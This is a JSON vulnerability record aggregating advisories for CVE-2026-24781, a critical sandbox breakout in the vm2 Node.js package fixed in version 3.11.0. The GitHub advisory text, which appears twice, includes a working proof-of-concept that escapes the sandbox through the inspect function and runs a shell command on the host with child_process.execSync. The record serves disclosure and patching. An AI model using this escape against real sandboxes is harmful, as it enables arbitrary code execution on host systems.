{"id":"CVE-2026-24781","aliases":["CLSA-2026-1787860907","EUVD-2026-26987","GHSA-2cm2-m3w5-gp2f","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v37h-5mfm-c47c","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-24781"],"status":"published","title":"vm2: Sandbox Breakout Through Inspect","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.01186,"percentile":0.68254,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-653","CWE-693","CWE-94"],"published":"2026-05-04T16:33:32Z","modified":"2026-11-04T03:45:10Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.0"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.10.5-aikido.6","3.9.17-aikido.13","3.9.17-aikido.7","3.9.17-aikido.8","3.9.17-aikido.9","3.9.17-aikido.10","3.10.5-aikido.7","3.9.7-aikido.5","3.9.7-aikido.6","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.10.5-root.io.2","3.10.5-root.io.3","3.10.5-root.io.4","3.10.5-root.io.5","3.9.17-root.io.11","3.9.17-root.io.12","3.10.5-root.io.6","3.9.17-root.io.13","3.9.17-root.io.7","3.9.17-root.io.8","3.9.17-root.io.9","3.9.17-root.io.10","3.10.5-root.io.7","3.9.7-root.io.5","3.9.7-root.io.6","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.10.5-aikido.6"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.7"},{"fixed":"3.9.17-aikido.8"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.9.7-aikido.5"},{"fixed":"3.9.7-aikido.6"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.5-root.io.2"},{"fixed":"3.10.5-root.io.3"},{"fixed":"3.10.5-root.io.4"},{"fixed":"3.10.5-root.io.5"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.10.5-root.io.6"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.7"},{"fixed":"3.9.17-root.io.8"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.9.7-root.io.5"},{"fixed":"3.9.7-root.io.6"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"red hat","product":"red hat developer hub"},{"vendor":"red hat","product":"red hat developer hub 1.10"},{"vendor":"red hat","product":"red hat developer hub 1.9"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-24781","tags":["vdb-entry","x_refsource_REDHAT","advisory","web"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2466531","tags":["issue-tracking","x_refsource_REDHAT","report","web"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24781.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:36754","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:26234","tags":["vendor-advisory","x_refsource_REDHAT","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24781","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v37h-5mfm-c47c"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24781.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-24781","title":"vm2: Sandbox Breakout Through Inspect","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.","status":"published","published":"2026-05-04T16:33:32.869Z","modified":"2026-07-15T01:16:56.198Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-94","CWE-693","CWE-653"],"updated_at":"2026-11-02T14:19:50.575061Z"}],"euvd":[{"id":"EUVD-2026-26987","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.","status":"published","published":"2026-05-04T16:33:32Z","modified":"2026-07-15T01:16:56Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:19:55.318488Z"}],"ghsa":[{"id":"GHSA-v37h-5mfm-c47c","title":"VM2 Has Sandbox Breakout Through Inspect Function","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.\n\n### PoC\n\n```js\nconst obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice:()=\u003e'',\n\tl:{__proto__: null}\n};\n\nobj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {\n\tif (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;\n\treturn a;\n}});\nobj.l.x.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","status":"published","published":"2026-05-05T16:33:14Z","modified":"2026-11-04T03:28:26Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-94","CWE-653","CWE-693"],"updated_at":"2026-11-04T03:52:50.391589Z"}],"nvd":[{"id":"CVE-2026-24781","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.","status":"published","published":"2026-05-04T17:16:21.96Z","modified":"2026-10-26T19:10:00.163Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-94","CWE-693","CWE-653"],"updated_at":"2026-11-02T14:12:17.022502Z"}],"osv":[{"id":"CVE-2026-24781","title":"vm2: Sandbox Breakout Through Inspect","description":"vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.0, VM2 suffers from a sandbox breakout vulnerability through the inspect function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.0.","status":"published","published":"2026-05-04T16:33:32.869Z","modified":"2026-10-28T02:30:41.809031712Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-693","CWE-94"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"GHSA-v37h-5mfm-c47c","title":"VM2 Has Sandbox Breakout Through Inspect Function","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.\n\n### PoC\n\n```js\nconst obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice:()=\u003e'',\n\tl:{__proto__: null}\n};\n\nobj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {\n\tif (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;\n\treturn a;\n}});\nobj.l.x.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","status":"published","published":"2026-05-05T16:33:14Z","modified":"2026-11-04T03:45:10.180090189Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-653","CWE-693","CWE-94"],"updated_at":"2026-11-04T03:56:18.279609Z"},{"id":"ROOT-APP-NPM-CVE-2026-24781","title":"CVE-2026-24781 in vm2 - Patched by Root","description":"Root has patched CVE-2026-24781 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:27.139898721Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}